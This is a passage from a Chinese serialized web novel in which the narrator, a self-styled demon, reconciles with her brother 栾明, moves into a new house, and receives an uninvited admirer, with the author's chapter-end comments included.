我又拍了拍他?的头,说:“慢慢来,你不用着急,有人来我肯定告诉你,他?们伤害不到你。” 但等待的时间实在无?聊,我坐在他?旁边,用手机灯去照其他?的树木,将它们的影子龇牙咧嘴地打?在墙壁上,像是怪兽群魔乱舞。 闪电瞬间亮起,而雷声再次到来。 一道遥远的闪电划过天际,闷雷声缓缓滚来。 他?依旧闭着眼,但呼吸渐渐平复。 照完植物,我用光柱去照他?低垂的脸,光束停留在他?湿漉漉的眼睫上,我伸出小指,轻轻拨弄了一下那几缕沾湿后?更显银白的睫毛。 “你的睫毛是白色的,好神奇啊,这是天生的,还?是有什么特?别的病吗?你们家的人是不是都有病啊?”我好奇地问。 他?没回答这个问题。 但看着他?这幅脆弱的模样,像是我在欺负弱小似的,带着胜利后?的余韵,我感性大发,叹了口气?。 “说实在的,其实我也没有那么讨厌你,当年具体发生了什么,我差不多也忘了,不过你总是一上来就指责我、威胁我,我当然要回击啊,如果你好好说‘请’,或者换个方式,我或许不会那么跟你对着干。” “就像小说里写的,威逼利诱,不能?只有‘威逼’吧?你给我点钱,或者别的什么我感兴趣的东西,我说不定就会答应你,离你弟弟远点呢?” 我晃着脚,提出一个务实的建议。 旁边的人终于动?了,泉越泽缓过气?,发出了一声极低的冷笑:“……霍亦瑀也是吗?” “原来你没死啊。” 我说:“他?给我看了很多新东西。” “但你肯定不懂,以前我过的可是被高利贷追着的生活,像你们这种生下来就有钱的人,绝对不会懂的。” “以前我过的是什么日子,被高利贷追着满街跑,冬天屋里漏风,冷得像冰窖,一个月只有四?百块生活费,吃了上顿没下顿,得每天傍晚去菜市场,捡那些被扔掉的老菜叶……” 卖惨的话,要把?没有的惨也说进?去。 我绝对没有被高利贷追着满街跑过。 “你这样说,是想让我愧疚吗?” “不是。”我说,“我的意思是,你应该给我点东西。” “如果你想从我这里拿走,你就应该给我点什么,如果你把?泉卓逸拿回去的吧,就把?其他?东西交给我吧,我可是失去了一个活生生的人啊,你也该给我同样的东西吧。” 我说:“等价交换,不是很公平吗?” 他?睁开眼睛,深绿色的眼睛紧紧地看着我,复杂的情?绪涌动?,让他?的表情?显得格外异常。 叩。我听到有脚步声离开。 紧接着是更加仓促的脚步声,很快,头顶的灯光重新亮起,将被包围起来的花园照得灯火通明。 那阵甜腻的、带着湿润的气?息像潮水般迅速退去。 泉越泽猛地闭上眼,再睁开时,里面所有的波动?都已?平息,恢复了那种古井无?波的平静。 他?面无?表情?地、有些仓促地起身,拍了拍衣服上并不存在的灰尘,没等工作?人员来到附近,便大步朝外走去,背影挺直,步伐稳定,仿佛刚才一切都没有发生。 呵呵呵,走就走,我还?有你的丑照! 我想这次他?总该学到点东西了吧,主动?把?钱或者其他?有价值的东西送出来,把?泉卓逸买回去。 等我悠闲悠哉地回去时,浦真天正站在门头,他?转过头,表情?复杂,有一丝惊喜,又夹杂着担忧,仿佛皮毛被逆着撸过,握着手机,表情?十分复杂。 他?深吸一口气?,将手机递过来,屏幕还?亮着,显示着通话中的界面,通话时间长?达十分钟。 他?说:“是明子的电话。” 我接过电话,在贴到耳边的瞬间,听筒那边传来熟悉的声音。 “小冬。”电话那边的人呼喊着我的名字,声音熟悉又陌生。 栾明的声音沙哑不少,也不知道是手机的原因,还?是他?又经历了变声期,像是几年没说话似的,有股找不到音调落脚处的别扭。 “不知道你是谁。” 我打?断他?,颇为冷酷地说:“作?为明星、私人飞机拥有者、A10资产家庭以及成功人士的我好像没听过这个声音,你的声音好奇怪啊,我好像不认识你吧。” 电话那头再次陷入沉默,这一次,我甚至能?听到他?那边隐约的、同样沉重的呼吸声。 “……对不起,这么多年没去见?你,没有主动?找你,还?在自己生闷气?,像个白痴一样想要证明自己。” “小冬。” “我知道你过得很好,有很多人认识你,有很多人陪着你,有很多人爱你,我害怕变得无?关紧要,所以一直努力想要追上来,努力想要变得更有用,努力想要重新回到你身边……对不起,我来得太晚了,但是……” 他?说:“我已?经到极限了。” 呼吸打?在耳边,像是他?真的出现在身边似的,让我幻觉般嗅到了柠檬的气?息。 浦真天看着我,抿了下唇,想要努力提起唇角,脸颊边浮现出凹陷的酒窝,眼睛一直看着我。 如果和好的话,他?说不定应该会是最?开心的那个。 我嗯了一声,表示中立,现在我还?没有原谅他?! 栾明:“我想你了。” 声音像是雪花融化在耳朵里,我仍然在思考着。 窗外的雨渐渐变小,周遭的环境在雨后?显得格外安静,酒气?尚未散尽,一场混乱刚刚平息。 算了。 我的承诺还?没兑现,就先原谅他?一点点吧—— 作者有话说:今天也是超级极限地修完了文,怎么能被写得这么长,我就这样记流水账,好了,哥要回来了,然后狗咬狗你崛起吧(起立) 啧啧(泉越泽)毫无逼格,其实他最开始可以让助理来的,但因为某种小心思自己来了,被冬子的行为震慑,完全搞不懂,然后又有点心动,后面就是马场,更心动了,觉得她是来勾引自己的,来私人会所百分之五十是为了拙拙(泉卓逸),百分之五十是想看看她到底还没做什么,想说清楚,反正别再让他烦恼,结果发现冬子可能想要自己换拙拙,彻底要起立了(?) 然后拙拙是发现啧啧有苗头,心里已经开始慌了,以前父母偏心他就很恨,现在觉得啧啧要把冬子也给抢走,心更慌了,虽然他心里觉得谁都行,但根本停不下来忮忌,只有冬子像使用工具一样完全物化他,他才会平息点,但冬子不会,所以现在他又开始想到以前的事,冬子绝对不能跟啧啧在一起,他绝对会爆炸(谁懂) 经过我的狗屎分析,我发现我也搞不懂了 总之,这是俩神入兄弟,小时候被家暴,互相觉得对方才是被偏爱的那个,年纪大的打算封心绝爱,以后只有利益,年纪小的一直逃避,把家暴的行为转化为爱的象征……虽然现在相处无事,实际上只是拙拙什么都不想的时候,只要想就会爆炸 今天的作话流水账也超长,补药嫌弃我(闭眼) 第93章 虽然我原谅了他?, 但?进度大概只有十分?之一,我只是勉为其难地想要?履行?承诺,绝对不是因为他?太可怜了,所以心软什么的。 好吧。 他?的确有点可怜。 可能因为栾明是我第一个睁眼看到的人类, 在生下我的母亲还没有变得陌生之前, 在我还搞不懂人类这种复杂生物的运行?规则时, 他?是我唯一能够依靠、可以安全寄生的存在。 人类是很难以理解的生物,即使作为人类研究学家的我,也搞不懂为什么父母会逐渐变成另一副模样。 只有栾明没变,至少?在当男公关之前, 他?很稳定?。 所以嘛,原谅一下吧。 在我宣称轻微原谅他?后,栾明才告诉我们, 他?不在A市,而是还在外地。 我觉得他?有点毛病,问他?为什么要?我们去A市,但?浦真天站出来?解答, 用的理由十分?蹩脚,说什么是因为他?理解错信息了,栾明给他?发的消息说什么想要?回到有共同回忆的地方,结果被他?理解成回A市。 我深深地质疑了。 如果真是这样, 那浦真天也太笨了点。 被我说是笨的人一个劲地笑?, 却只是摸着?后脑勺, 一个劲地傻笑?, 就算挨骂也一副高兴得不得了的模样。 栾明说他?明天就到H市,但?我还不想那么早回去。 所以我给栾明派了第一个赎罪任务:先去H市帮我收拾新房子。 虽然我和霍亦瑀在冷静期,但?他?的助理没跟着?冷静, 她已经?高效地处理好了购房合同和过户手续,问我需不需要?进一步布置软装。 我把这个任务远程派给了栾明,自己则继续和浦真天在A市的私人会所里优哉游哉地度假。 暴雨的第二天是个大晴天,阳光灿烂得仿佛昨夜的电闪雷鸣只是幻觉。 泉卓逸在凌晨就被泉越泽带走了,只给我手机上留了一条简短的消息,语气干巴巴的,像被抽掉了所有力气。 而泉越泽,我会一直等着?他?给我打钱。 我和浦真天又无所事?事?地待了两天,我让他?跟着?我体验上层社会生活,打游戏、吃送上门的美食、在会所里闲逛。 回去之前,我特?地叮嘱他?,一定?要?把这段时间奢华度假的体验详详细细记下来?,回头好跟栾明炫耀。 在A市的第四天,我们终于坐上了返回H市的飞机。落地后,直奔我的新房子。 新房子选址在距离城中心不远的一处高档别墅区,比起霍亦瑀那个更偏重私密性和景观的宅子,这里要?更繁华便利些,但?安保和隐私工作据说做得很好。 之前车千亦知道我要?买新房后,还专门去查了一下,说很多注重隐私的明星和富商都?住在这里,她便放心了。 回去那天天气尤其好,秋高气爽,阳光把别墅区修剪整齐的植物照得油亮。 浦真天在我身后提着?行?李箱,我们还没走到门口按下门铃,那扇厚重的深色大门便从里面无声地打开了。 熟悉的柠檬气息涌入鼻腔,浓重得像是有一货车的柠檬倒在地上,几乎凝成实体。 在见到人前,我先吃了几口,情感顺着?喉管流进胃袋,暖洋洋的。 栾明站在门内,背对着?屋内温暖的光线。 他?看着?我,黑沉的眼睛像两颗浸润在深潭里的黑曜石。 他?似乎瘦了一些,脸颊的线条比记忆里更分?明,脸上干干净净,没有胡茬,但?眼下的黑眼圈浓重。 头发刚修剪过,露出清晰的鬓角和额头,有一种莫名的青涩感。 他?似乎没有多少?变化,给我一种昨天才见过的感觉,只不过一眨眼过去了五年的时间。 他?微张双唇,喉结滚动了一下,才吐出干涩的字眼:“小冬……” “房子装修好了吗?”我跳过一切对话,问出最关心的问题。 他?嗯了一声,让开身位,提过浦真天手里的行?李箱,然后拍了下他?的肩膀,低声道:“好久不见,浦哥。” 浦真天:“明子,你——” “先进来?吧。” 我走在前面,他?们跟在我身后。 房子里的装修风格颇得我心,落地窗、地毯、大电视……色调是柔软的颜色,怎么看怎么顺眼,尤其是外面的风景。 一进入房间,我便扑倒在沙发上,确定?它弹性十足后,又看去巡视整个客厅。 发现落地窗边放了个懒人沙发,我立马转移阵地,瘫倒在上面,这捏捏,那捏捏。 落地窗直面着?不远处的江景,隔着别墅区绿化优良的私家庭院,可以清晰看到横跨江面的大桥,以及更远处城市天际线林立的高楼。 连天上飞过的鸟群都看得清清楚楚。 房产证上写?的是我的名字,无论是在谁眼里都?是我的房子,这就是我的窝啊! 我又有窝了! 等我看够了江景,心满意?足地回头时,发现栾明和浦真天正站在客厅与餐厅的连接处,两人之间隔着几步的距离,沉默着?。 “你们在干嘛?” “没什么。” 浦真天飞快地说,脸上立刻挂起惯常温和的笑?容,他?环顾四周,“装修得很不错,房子真大,我刚才看了,有好几间客房,以后可以挑一间,专门挂小冬的专辑海报和获奖照片。” 他?顿了顿,感慨道:“时间过得真快啊……我们三个,终于又聚在一起了。” “你也买在附近吧。” 我兴致勃勃地对浦真天说:“你可以住在我附近。” 浦真天挠了挠脸颊,露出一点不好意?思。 “我……努力吧,我现在的工资,恐怕还够不上这里的首付,而且,在这种小区买房,似乎还需要?额外的资质审核。” 他?很快又轻松地说:“不过我租房子住也挺好,想你们了就直接上门拜访,反正?这里离我现在的住处也不算很远。” 我想了想,大手一挥:“那我可以给你留一间房,等你来?玩的时候住。” “好。” 他?弯起眼睛笑?了,但?笑?容很快又淡下去,目光在栾明身上停留了一瞬。 半晌,他?转向我,说:“小冬,没什么事?的话,我先走了。你刚回来?,好好休息。” “留下吃饭吧。”栾明忽然开口。 浦真天愣了下,棕色的眼睛犹豫地看向我:“……可以吗?” 我点点头,同意?了。 他?吃我也吃,最近我的饮食又回到了以前的状态,所以吃这件事?再次变得重要?起来?了。 以前还说过要?用一间房来?装食物,但?是全放进来?的话,会不会像是养鸭场那么吵? 我必须慎重考虑才行?。 晚饭是栾明做的,他?把房子照顾得井井有条,只要?我伸手,东西就自动递到手里。 我原本肚子里还攒着?些话想说他?,但?看他?特?别懂事?的份上,那些话被我抛之脑后。 吃饭时,浦真天很配合地跟我聊起前几天在A市私人会所发生的趣事?,重点用词:高级、舒服、奢侈、开心…… 他?说的时候,我就一直盯着?栾明,确认他?露出羡慕的表情。 饭后,浦真天礼貌地道别离开,屋子里只剩下我和栾明。 我继续霸占着?沙发,栾明则去厨房洗碗、收拾。 水声隐隐传来?,夹杂着?碗碟轻碰的脆响,像是某种amsr,听得我心情舒适。 霍亦瑀不会洗碗,因为家里有自动洗碗机,要?不然就交给保洁处理。 等下次我要?买个自动洗碗机,让栾明大吃一惊。 看电视时,我拿起手机,宗朔给我发了消息。 [宗伟朔大]:今天打不打游戏 [宗伟朔大]:还在A市? [宗伟朔大]:不视察的领导不是好领导 [世?界第一恶魔大人]:我回来?了 [世?界第一恶魔大人]:给我好好工作,不然扣你工资 [宗伟朔大]:一个月八千,你想扣就扣吧 [世?界第一恶魔大人]:知道了知道了,你就再等个一二三四天,等我休息够了就来?视察 [宗伟朔大]:啧,那就等你一二三四天 [宗伟朔大]:你不来?的话,我可不知道公司业绩会怎么样 [宗伟朔大]:(图片) 他?发来?一张最新的业绩报表截图。 虽然那些复杂的曲线和百分?比我看不太懂,但?上面几个关键的增长?数字大得惊人,看得我心脏砰砰直跳,仿佛已经?听到了钱入账的悦耳声音。 看来?还是得去一趟。 在回复宗朔消息时,上面不断地弹出新消息,都?是邛浚,他?孜孜不倦,像是发狂了似的。 我瞥了一眼,不是自拍就是意?味不明的话,索性给他?屏蔽了,打定?主意?不想搭理他?。 另一个不断发消息的颜升我也屏蔽了。 软件瞬间清爽很多,完全没有社交累赘。 至于霍亦瑀,他?还在冷静中。 栾明从厨房走出来?,一边用厨房纸擦着?湿漉漉的手,一边走到沙发旁。 他?很自然地坐在我旁边,将擦干的手放在膝盖上,视线安静地、专注地落在我身上。 我专心地对着?电视屏幕扫台,扫了一圈没找到想看的,兴致缺缺地放下遥控器,一抬头,便直直撞进他?的视线里。 “要?看电影吗?”他?问。 我点点头。 他?将电视切换到流媒体界面,手指在遥控器上快速操作,熟练地调出电影列表,选了一部最近上映、评分?还不错的喜剧片。 片子很吵闹,主角是个傻乎乎的乐天派,运气好到离谱,无论遇到多么糟糕的乌龙事?件,总能阴差阳错地化险为夷,虽然过程笑?料百出,但?结局总是圆满。 看着?屏幕上那张傻笑?着?的脸,我想起了浦真天。 他?也是这样,好像总是带着?点懵懂的温和,运气也不差,做什么都?能上手。 离开前,他?脸上那副努力掩饰却依旧透出的落寞神?情,此刻在脑海里清晰起来?。 他?真该去做电竞选手才对……我和他?研究过几款电脑游戏,他?上手速度都?快得惊人。 “……小冬。” 旁边的声音将我思绪拉了回来?。 我转头看向栾明,他?穿着?衬衫外面套了一件毛衣,此时挽起袖子,露出线条分?明的手臂,他?的肌肉比以前多了。 他?问:“明天需要?上班吗?” 我想了想,说:“没有。” 车千亦现在还在忙活公司的事?,也不知道发生了什么,她一直有事?,说有活动她会提前一周通知,所以在她发消息前,我永远有一周的空闲时间。 那……闲着?的时候该做什么? 我似乎说过要?到处旅行?玩,但?是我是个宅恶魔,出门玩什么的,不如派只旅行?青蛙出去。 才从外面回来?,我要?在家里躺几天,等无聊了再出去,然后无聊了再回来?躺着?。 对,这样健康地循环往复,我就会变成一个健康的恶魔。 “你呢?”我反问,“你现在。在做什么工作?” “最近……我属于没有工作。” 他?真的是无业游民诶! 我从沙发上弹起来?,抱着?手臂,得意?地说:“那我就是家里唯一赚钱的人咯,你看到了吧,我肯定?会成功的。” “看到了。” 他?看着?我,认真地说:“很成功。” “无论走到哪里,我都?能听到你的名字。” “那就对啦。” 我摇头说:“早就说了,娱乐圈是最容易捞钱的地方,你当初还不想我走这条路,说我乱来?……你说,你是不是差点耽误我赚大钱?我不赚钱,哪来?这么大的房子,哪来?这么多可以随便花的日子?而且我当初说过会回去找你——” “咳咳,反正?带你去享受,我还会做到的!” 被我看着?的人点点头,嘴边扬起一抹笑?,有些困倦地说:“你做到了。” “所以。” 我说:“你想做什么快告诉我,想要?什么也告诉我,我可以带你过上好日子。” 栾明沉默了片刻,却摇了摇头。 “我没有什么想要?的。” 他?说:“只要?待在你身边就好了。” 他?没有梦想吗?还是说他?就想跟在我屁股后面? 这样也可以的。 以前我还想要?很多仆从,但?当住进霍亦瑀的家后,我就发现人多是多么烦躁的事?,随时随地都?有人在身后,而且总在身边绕来?绕去。 果然还是一个人就够了。 我坐回原位,摸了摸下巴,不解地看着?他?:“那你这五年在做什么?” 他?默了默,说:“赚钱。” “那钱呢?” “在卡里。” 他?补充道:“我的就是你的。” 我满意?地点点头,想到他?是个无业游民,肯定?也没赚多少?钱,所以也没打算问他?到底有多少?,反正?都?是我的,伸进他?的口袋比我闭上眼睛睡觉都?要?自然。 想通之后,我扑通倒在他?腿上,舒舒服服地躺着?看电影。 “你和那个人……现在怎么样?” “谁?” 他?飞快地念出名字:“霍亦瑀。” 我哦了一声,说:“按照他?说的,现在我们处于冷静状态里。” “他?真的很奇怪。” 栾明嗯了一声,什么也没问,而是调转话题:“那我呢?我们处于什么状态?” 我:“原谅进行?时。” “我是不会轻易原谅你的,想想发现你竟然不来?找我,虽然我是忘了……好吧,对不起,我的确忘记了。” “但?是。”我强调道,“你不找我可是更严重的事?!” 他?没立刻接话,微凉的手指轻轻碰了碰我的头发,然后开始慢慢地梳理起来?。 我抬头看去,对上他?一眨不眨的眼睛。 他?的眼睛总是在看着?我,有人说眼睛是心灵的窗户,那他?的窗户总是朝着?向我打开,但?是眼睛只是眼睛,看不出来?他?在想什么。 我伸手碰了下他?的眼皮,他?才眨了下眼睛,呼吸几乎凝滞,手指轻微颤抖。 过了一会,他?用手捂住我的眼睛。 “现在就好,回来?就好,只要?在一起就好……” 他?的声音近在咫尺,带着?一种叹息般的、近乎喃喃自语的喑哑。 “你挡住我看电视了。”我提醒道。 他?移开手,又开始梳理我的头发,梳得我昏昏欲睡。 我在他?腿上调整了一个更舒服的位置,看完了电影后半段喧闹的结局。 电影结束后,我困倦地打了个哈欠,伸手摸到遥控器,随便按了几下,切换频道。 电视机屏幕闪烁了几下,画面忽然跳转到一档本地财经?新闻,主播正?用字正?腔圆的流利普通话播报: “……近日,一位在海外创业取得卓越成就的青年企业家低调回国,据悉,该企业家在国外拥有涉及科技、文化等多领域的丰厚产业,此次回国,他?有意?响应本市的英才引进计划,考察新的创业投资项目,或将为本地产业升级与经?济发展注入新的活力……” 伴随着?播报,屏幕一侧出现了一张照片。 照片上的男人很年轻,有一头略显凌乱的中长?发,微微遮住了部分?额头,单眼皮、眉压眼,眼神?锐利而缺乏温度,鼻梁高挺,嘴唇抿成一条直线。 无论是五官还是神?态,都?和主播所说的光明伟正?不同,反倒透着?一股反派气质,怎么看都?不像个好人。 尤其引人注目的是他?的脖子环绕着?一圈颜色偏浅、凹凸不平的疤痕。 形态不规则,像一道无声的荆棘项圈。 他?面无表情地看向镜头,即使隔着?屏幕,双眼里的冷锐几乎要?刺破出来?。 主播字正?腔圆地念出了他?的名字:“黎鸶先生表示……” 李四?好难听的名字。 屏幕上那张脸浑身上下,从名字到长?相到气质,没有一处像霍亦瑀。 完全不像。 栾明手指动了下,继续给我梳理头发,而我打了个哈欠,兴致缺缺地按下了遥控器,换到了动画频道—— 作者有话说:终于修完了,窝的脑子已经糊涂了! 哥拿的是复仇剧本(?),他是奔着搞富哥来的,这几年赚了好多钱来着,但是冬子没看,虽然哥看着很正常,但实际已经熊熊怒火燃烧中,不会让富哥好过,但是先来点日常,总得甜一下,然后虐下穷菌和鲜花饼,这俩人最贱了,一起打了(对) 富哥就像那个反派,但是他血条很厚,遭得比较晚,哥要联合好多人才能把他打掉,起到一个贯穿全文的重要性 第94章 栾明就像水滴融入我?的生活。 据我?这几天的观察, 他的生活规律得像钟表。 每天早起,在我?还蜷缩在卧室被子?里时,就开始轻手轻脚地收拾房间,房子?太大了, 他光是巡视一遍, 检查每个角落, 就需要小半个上午。 有几个房间暂时空置,没做任何?布置,但他担心?积灰,又额外?买了很多防尘罩和保养用品, 耐心?地一一打理。 等他清洁一遍,直接要到午饭的时间,所?以要开始煮饭。 等午饭之后, 他会消失一段时间,跑去某个房间里处理他的事,我?问他在干什么?,他只说是兼职的事情。 为了不当个在家里啃小的人, 他还找了兼职,每天用工资买这买那,我?原本打算把我?的卡给他用,但是被拒绝了。 等他忙完, 就会老老实实地待在我?旁边, 像个挂件似的, 我?走?到哪里, 他就跟到哪里。 等到晚上吃完饭,他催促我?洗漱,然后窝在一起看电影, 结束健康的一天。 这几天里,我?尤其沉迷在游戏里,前不久和浦真天在私人会所?玩还不够,我?蠢蠢欲动想要证明自己也?有成为职业选手的能力。 但最后我?还是放弃了。 绝对不是因为我?不行,只是因为放弃太容易。 打游戏不够,我?又把浦真天叫到家里,他忙完工作,马不停蹄地来了,每次来穿的都是不一样的衣服,因为走?秀还有拍摄,脸上还会带着?没卸干净的妆, 我?觉得他去打比赛肯定人气火爆,毕竟当过男公关,哄粉丝的能力也?很强。 他听完,笑笑不说话。 他来了三次,每次都把垃圾带走?,栾明肯定没意见,只是在旁边看着?我?们,浦真天试图他加入,但被拒绝了。 今天,他出奇地说自己也?想玩。 “那我?们玩这个吧。” 我?和他坐在客厅里,一人一台电脑,就在落地窗附近,秋日午后的阳光毫无保留地倾泻进来,晒得人后背暖洋洋的,在这种光线下打游戏,心?情确实会莫名舒畅。 栾明慢悠悠地注册账号,登陆游戏,被我?拉进房间里。 等带着?他打了几把,我?发现他也?菜得出奇,只让他挂在我?身上当挂件。 我?疑惑地说:“为什么?浦真天那么?厉害呢?” “以前……他常和其他同学溜去网吧玩。” 栾明的声音从旁边传来,平静无波:“那时候他就挺厉害了。” “……小冬觉得我?很菜吗?” “还好吧。” 更菜的我?见过,是柯觅山,那种才是忍受不了的程度。 我?说:“你就待在我?身边,别乱跑。技能键记住了吗?Q、W、E、R,还有鼠标左右键,反正看到有红名靠近,你就把技能全按一遍。” 如果浦真天是靠高中去网吧磨炼技术的话,那栾明完全不行。 因为他忙着?接送我?上下学,回来给我?煮饭,晚上就坐在那张吱呀作响的旧木头椅子?上,看书、写作业。 那时候,他非得让我?也?待在他的小房间里,坐在他的床上,一起写作业。 可?我?根本不爱写作业,最后往往是把作业本往他面前一推,自己溜到客厅去看电视。 然后他就会搬个小凳子?,蹲在茶几旁边,一边写他的作业,一边时不时抬头看我?一眼,或者提醒我?坐远点,别离电视太近。 等听到父母回来的脚步声,我?们就再钻回房间里。 他的房间很小,但是很干净整洁,以前的书都被拿去卖掉了,所?以只有一张床和一张桌子?,桌子?是从废品回收站捡的,而衣服则全部塞进口?袋里放在床下。 我?一边打游戏一边分神地浏览记忆碎片,这段记忆总是清晰的,我?还记得冬天的时候,他手上长满冻疮,要反复地哈气,才能写完作业。 我?坐在他的怀里,像是穿上盔甲一样将手臂塞进他的袖子?里,假装自己在操控什么?巨大的变形金刚,觉得这样我?也?能像他一样做出高中的难题。 他听到我?的说法,笑得停不下来,然后用下巴来蹭我?的头顶。 在那个小屋里,从春天到冬天,再到变成红油漆。 为什么?又想起以前的事,总觉得栾明坐在我?旁边,就在提醒我?以前的事。 他就是个行走?的记忆碎片箱子?。 “小冬。”他忽然叫我?的名字,抬起头看我?,眼神有些茫然,“现在……要放技能吗?” 我?回过神,这时敌人已经走到我的脸上,正在左右横跳放技能,我?立马惊呼一声,管它?三七二十五,把技能按键全部按了。 然而,最终我们还是死了。 “都说了全部放了。” 我?有些郁闷,叹了口?气,深感他没有游戏天赋,于是放过自己也?放过他,让他一个人待着?去,我?自己换了个游戏,去打枪了。 他沉默地关掉游戏,起身来到我?身后,安静地看着?我?操控角色在枪林弹雨中穿梭。 看了一会儿,他忽然开口:“以前高中的时候,也?常去网吧玩这些游戏吗?” “差不多吧。” 我?说:“在电脑上玩比玩手机有意思,电脑上有好多游戏,而且手机屏幕太小了,还容易卡。” “以前要是有电脑就好了。”他喃喃道,“其实也?不贵,只要攒点钱就可?以了。” “可?是你买回来就会被卖掉啊。” 我?一边瞄准,一边分神地回复道:“会被妈妈卖掉的。” “……” 等我?玩了一会,再尝败绩后,我?彻底放弃了,转移到沙发上看电视,而栾明也?跟着?过来,坐在我?旁边。 换了几个台,我?仍然不知道要看点什么?,望向窗外?。 此时碧空如洗,白云悠悠,江对岸林立的高楼玻璃幕墙反射着?阳光,亮晶晶的,像是被精心?涂了一层透明胶水的精致模型。 是不是该出去走?走?了? 按照健康的循环往复理论,我?应该出去玩了。 栾明注意到我?的视线,调整了下我?背后的靠枕,问:“要出去吗?” “应该出去了。”我?伸了个懒腰,,“待在家里也?会无聊啊。” “之前我?还想着?一边旅游一边找你,而且,我?还以为你去男模店里工作了,我?以为你会离我?特?别近。” “……旅游的话,小冬想去哪里?” 我?想了想,说:“有雪的地方。” “我?想去雪乡,我?每年都会和霍亦瑀去那里度假。” 栾明的视线落在我?身上,当我?看向他,他眨了下眼睛,短促地嗯了一声,“下次,我?陪小冬去吧。” “那里可?好玩了!” 我?来了兴致,开始比划:“可?以滑雪,从高高的坡上冲下来!可?以堆雪人,堆得比房子?还高!还可?以泡露天温泉,雪花飘下来,落在肩膀上,一下子?就化了……” “上次,霍亦瑀那个笨蛋,我?说我?冲进雪堆里,他急得到处找我?,找了半天,明明雪地上会留下脚印的嘛,他怎么?会找不到?而且我?身边还有雪橇犬。” 他安静地听着?,注视着?我?的表情,黑沉的眸子?里倒映着?我?的脸,他听完,却接话,只是一直看着?我?,像是灵魂出窍似的。 被我?揪住脸,他才愣了下,反应过来,说:“如果雪一直在下的话,足迹很快就会被新雪覆盖的,他着?急很正常。” “你要和我?一起说他的坏话才行。” 我?强烈要求道:“你要说他是笨蛋。” 他说:“他是笨蛋。” 我?满意地点了点头,忽然想起一件事,兴致勃勃地分享给他:“他上次还说羡慕我?们,结果没想到,他的弟弟就回来了。” “他弟弟的名字好奇怪,而且长得也?和他不像。” 我?摸摸下巴:“还是我?的名字好听,水冬,栾水冬。” 我?的真名更长一点,而且太长了,拗口?到念不出来,而且名字是很重?要的东西?,被知道全名,就像是被扒光衣服一样隐私的事。 现在,连我?自己也?快忘记那个冗长的本名了。 但是他们都叫我?奇怪的恶魔,我?是不是可?以有个别称叫做奇怪。 “你是在冬天生下来的。”他说,“冬天和水,是妈妈给你起的名字。” “我?是爸爸取的。” 栾明顿了下,继续说:“太阳和月亮,明天的明。” 我?:“我?知道,小明嘛。” 他点点头,脸上非但没有不悦,反而浮现出一点很淡的笑意,看上去一点也?不生气。 我?不由感到疑惑,明明以前他总是反应强烈,只要我?说出小明两个字,就会特?别严肃地板着?脸,像是开家长会似的,一字一句地告诉我?要叫他哥哥才行。 “你不生气?” 他:“我?没有什么?好生气的,因为本来就是我?的错。” “……什么?也?好,只要待在你身边就好了。” “我?也?没说要把你赶走?。”我?嘀咕道,“你是不是又在想什么?奇怪的事,之前也?是总觉得我?要走?,虽然吧……嗯,那都是你们觉得!” “那就让我?努力,努力让你原谅好不好。” 栾明说:“无论你到哪里,我?就到哪里。” 他看着?我?,仿佛一头温顺的绵羊,就算把匕首放在脖子?上,也?只知道看着?我?的、愚蠢的绵羊。 动物纪录片里,绵羊是非常蠢的生物,放一只进去羊圈里,它?们那么?多只,也?打不过一只狼。 食物链的等级在自然界仿佛是注定的,高一级的生物总能把其他的踩在脚下。 栾明是我?的食物,所?以他在我?这蠢一点也?没关系。 我?盯着?他看了半天,最终无奈地叹口?气,虽然总觉得哪里有点怪,但还能怎么?办呢。 坐了一会,他又开始给我?梳头发,面色沉着?,像是一个雕像,他身上有和我?一样的沐浴露气息,不知道买了什么?,留香持久。 我?被梳得昏昏欲睡,倒在他的腿上犯困,视线抬起,刚好可?以看到他垂头时的动作。 他穿着?毛衣,露出光洁的锁骨,但再仔细看看似乎有点不一样的东西?,像是一道疤,我?抬手去摸,果不其然感受到了凸起的触感。 “是不小心?弄出来的。”他说,“工作的时候摔伤了。” 但这块疤是圆形的,更像是被捅出来的,或许他摔在什么?凸起的东西?上了。 他握着?我?的手,手指尖泛着?冷意,用嘴唇碰了下我?的手指。 “你好像总是没有朋友。” 我?说出自己的发现:“除了浦真天,你没提过其他朋友。” “以前太忙了。” 他的声音从上方传来说:“和班上的人都不熟,久而久之就难有朋友了。” “朋友关系是需要感情维系的,是连接不同人的线,有些人需要它?连接自己和世界,而有些人则不需要,有时候一根就够了,从生下来就连接在一起我?就有,所?以,我?不需要其他的了,有你就好了,” 想不懂,但是这样好像不太健康。 忘记是从哪里看到的话了,但是一个人应该有至少三个朋友才行。 “我?有四个朋友。” 我?得意宣布:“浦真天现在也?是我?的朋友。” 他点了点头,没有什么?反应。 “我?把你的朋友抢走?了。”我?再次强调。 “嗯。”他应道,“浦真天很喜欢你。” “你不生气吗?” 我?有些疑惑,完全搞不懂他在想什么?。 “不生气。” 我?盯着?他的脸,试图从他平静无波的表情下分辨出真实的情绪,没有生气,只有一些缠绕在一起的、难以名状的丝线,让我?无法准确归类。 “好吧。”我?又躺了回去,再次宣布,“那我?还给你吧,反正你只有一个朋友,如果你还缺的话,我?也?可?以当你的朋友。” “好。” 我?正想说点什么?,门铃忽然响了,而且一声过后又接着?一声,急切得像是地震似的。 栾明起身走?到门禁可?视屏前看了一眼,转头对我?说:“是个金色头发的男人。” 金色头发?那就是颜升了。 他来干嘛?—— 作者有话说:又写得太长了,等会我再放出来,真的,我的拖延症真的不行啊,再这样可能要奔向一月了(不星) 第95章 我趿拉着拖鞋走过去, 打开了门。 迎接我的不是人脸,而是一大捧几乎要怼到我鼻子上的鲜花,红色、蓝色、香槟色的玫瑰挤挤挨挨,浓郁的花香扑面?而来?。 夹在其中的, 还有鲜花饼的气息。 颜升戴着眼镜的脸从花束后面?探出来?:“好久不见啊, 我上门道歉来?了, 今天。天气这么好,不出去玩玩吗?” 他的视线越过我和花束,落在我身后的栾明身上,脸上的笑容弧度不变, 语气却微妙地抬高?了一点。 “哇哦……家里还藏着小四呢。” “你怎么知道我在这?”我疑惑地问。 “虽然你拉黑了我,但是粉丝可不是吃素的,我花了点钱, 就来?了。” 他仍然看?着栾明,故作沉思:“我现在是不是可以生气,还是在你接受我道歉后再生气?说实话?,我的心情很不美好。” 我把花推开, 嫌弃地看?着他:“你有病啊,赶紧走开。” “别啊,我只是开玩笑而已。”他笑着说,朝着我身后挥挥手, “哥回来?啦, 刚才我只是开个玩笑, 你可别生气, 我是小冬的偷情对象,其实也不是说是偷情,只是爱情稍微受阻, 我们是命中注定来?着,对吧?” 我:“栾明,呼叫警察。” 栾明依言拿起手机,输入号码,准备拨通电话?。 